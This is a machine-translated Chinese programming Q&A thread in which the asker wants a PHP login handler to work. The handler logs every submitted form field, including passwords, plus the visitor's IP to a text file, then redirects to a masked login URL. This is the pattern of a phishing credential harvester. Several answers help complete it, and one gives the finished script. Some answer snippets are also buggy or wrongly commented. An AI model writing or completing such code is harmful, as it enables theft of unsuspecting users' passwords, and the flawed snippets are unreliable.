我正在尝试为一些朋友创建一个简单的Web应用程序,但我无法弄清楚如何为它执行php功能。
<?php
header ('Location: https://####.com/login/#');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
?>
这应该是写一个用户名和密码以及登录IP的日志,这样如果需要,我的芽可以确保没有人登录那些不应该登录的。 在任何情况下,我如何制作它以便在记录这些细节后,将它们转发到另一个页面,例如主页? 有没有一种方法可以做到这一点,而无需过多地修改php的内容?
还不确定是否有办法通过修改我正在使用的按钮来执行此操作...
<input class="button-red" value="Log in" type="submit">
仍然需要运行PHP。
答案 0 :(得分:0)
将header ('Location: https://####.com/login/#');
移到代码的末尾。
因此,一旦文件写入完成,页面将被重定向。
修改强>
请记住,在将任何输出发送回浏览器之前,需要调用header()
函数。手段,在任何html之前应该使用它!
// do your code for inserting the IP to the file
header ('Location: https://####.com/login/#'); // to redirect the page
die; // the script will not stop execution here, so the html that you might have in that page below this code won't be shown either
?>
答案 1 :(得分:0)
在php代码的末尾添加重定向,因为一旦它调用了header(),它将执行函数/重定向而不执行其余的代码&amp;在它之后添加退出/死亡。我认为这可能会阻止你的重定向。尝试调试或其他一些方法。
<?php
if(isset('button-name')){
...code...
header('Location: http://www.example.com/');
die(); // or exit(0);
}
?>
这里是参考http://php.net/manual/en/function.header.php 网址必须是绝对的
解决方法将使用html元标记在 php 之后添加html
<meta http-equiv="Location" content="http://example.com/">
或使用窗口的位置属性
执行php后的javascript调用window.location.replace("http://example.com/");
答案 2 :(得分:0)
因为我很高兴我继续为你编写代码
将你的按钮html改为他的
<input class="button-red" value="Log in" type="submit" name="submit">
然后使用这个PHP代码
<?php
if(isset($_POST['submit'])){
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
$codeRan = "true";
if($codeRan == "true"){
header ('Location: https://####.com/login/#');
}
}
?>
答案 3 :(得分:0)
您应该在代码后面写header()
,
而不是这个:
<?php
header ('Location: https://####.com/login/#');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
?>
写下这个:
<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
// ?> Your other HTML Code <?php
header ('Location: https://####.com/login/#');
?>